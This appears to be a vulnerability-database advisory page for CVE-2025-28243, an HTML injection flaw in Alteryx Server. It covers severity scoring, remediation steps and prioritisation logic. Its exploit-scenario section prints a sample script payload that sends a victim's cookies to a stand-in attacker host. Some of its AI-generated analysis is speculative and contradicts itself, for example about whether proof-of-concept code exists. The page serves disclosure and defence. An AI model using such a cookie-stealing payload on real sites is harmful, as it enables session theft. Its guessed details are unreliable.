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Alteryx Server EUVDEUVD-2025-21049

| CVE-2025-28243 HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-07-10 cve@mitre.org
8.0
CVSS 3.1 · NVD
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

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Impact

CVSS 8.0 with CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C indicates network attack vector (high accessibility), medium-to-high attack complexity (AC:H suggests some user interaction or specific conditions required), no privilege requirement, and changed scope with high confidentiality/integrity impact. The AC:H and UI:R requirements lower real-world exploitation probability slightly—the attack requires user interaction and possibly specific technical conditions. Without disclosed EPSS, KEV, or POC data, we assess this as moderate-to-high priority: high CVSS suggests significant impact if exploited, but the AC:H and UI:R factors suggest it is not trivial to weaponize at scale. Organizations with high user adoption of Alteryx Server pages should prioritize patching; isolated or internal deployments face lower risk.

Exploit ScenarioDerived

An unauthenticated attacker crafts a malicious URL or shares a manipulated Alteryx Server page link containing embedded JavaScript (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) injected into a pages component parameter. When an authenticated Alteryx user clicks the link or visits the page, the injected script executes in their browser context, allowing the attacker to: steal session cookies/tokens, perform actions on behalf of the user, redirect to a phishing site, or harvest credentials. The AC:H factor suggests the attacker may need to craft the payload carefully or exploit a specific interaction pattern, but once successful, the changed scope (S:C) means the impact extends beyond the vulnerable component to the entire Alteryx environment and potentially integrated systems.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.1% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 16, 2026

CVE-2025-28243 is a Stored/Reflected HTML Injection vulnerability in Alteryx Server 2023.1.1.460 affecting the pages component, enabling unauthenticated attackers to inject malicious scripts that execute in victims' browsers with user interaction. This vulnerability carries a CVSS 8.0 score with high confidentiality and integrity impact; while no KEV or confirmed EPSS data is provided in the source material, the network-accessible attack vector and relatively high CVSS indicate moderate-to-significant real-world risk depending on deployment scope and user exposure.

RemediationAI

  1. Immediate Patch: Upgrade Alteryx Server to a version newer than 2023.1.1.460 (Alteryx should release a patched 2023.1.x or recommend upgrade to 2024.x LTS). Check Alteryx Security Advisory portal for official patch availability.
  2. Input Validation & Sanitization: If patch is unavailable, implement strict input validation on the pages component—whitelist allowed characters and reject or encode special HTML/JavaScript characters (<, >, ", ', script tags).
  3. Output Encoding: Enforce HTML entity encoding for all user-controlled data rendered in the pages component (e.g., &lt;, &gt;, &quot;).
  4. Content Security Policy (CSP): Deploy CSP headers (script-src 'self'; object-src 'none') to restrict inline script execution.
  5. Web Application Firewall (WAF): Deploy a WAF rule to detect and block requests containing script injection patterns targeting the pages endpoint.
  6. User Education: Warn users against clicking untrusted links to pages components from external sources.

Affected VersionsENISA

n/a n/a

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Technical ContextAI · show details

The vulnerability exists in Alteryx Server's pages component (CPE likely: cpe:2.3:a:alteryx:alteryx_server:2023.1.1.460:*:*:*:*:*:*:*), which fails to properly sanitize user-supplied input before rendering it in HTML context. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability—the pages component accepts crafted script input without adequate output encoding or input validation, allowing attackers to inject arbitrary HTML and JavaScript. The vulnerability operates at the web application layer, suggesting the pages component lacks proper Context-Aware Output Encoding (CAOE) or Content Security Policy (CSP) headers to mitigate script execution.

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Severity by source

NVD PRIMARY 8.0 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
PoC Detected
Jul 17, 2025 - 13:16 vuln.today
Public exploit code
CVE Published
Jul 10, 2025 - 19:15 nvd
HIGH 8.0

DescriptionCVE.org

An issue in Alteryx Server v.2023.1.1.460 allows HTML injection via a crafted script to the pages component.

Executive ViewAI

Why It Matters

CVE-2025-28243 is a high-severity HTML injection vulnerability affecting Alteryx Server 2023.1.1.460 that could allow attackers to inject malicious scripts and compromise user sessions or steal sensitive data. With a public exploit available and no patch currently released, organizations running this version face immediate risk of exploitation and should prioritize mitigation actions.

Business Impact: High
Compensating Controls

Implement WAF rules to filter HTML/script injection attempts targeting the pages component; restrict network access to Alteryx Server to authorized users only via network segmentation or IP whitelisting; disable or isolate the pages component until patch is available; enforce strong authentication and session management controls; monitor server logs for exploitation attempts; consider temporary use of alternative data integration solutions if pages component is business-critical.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

60
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

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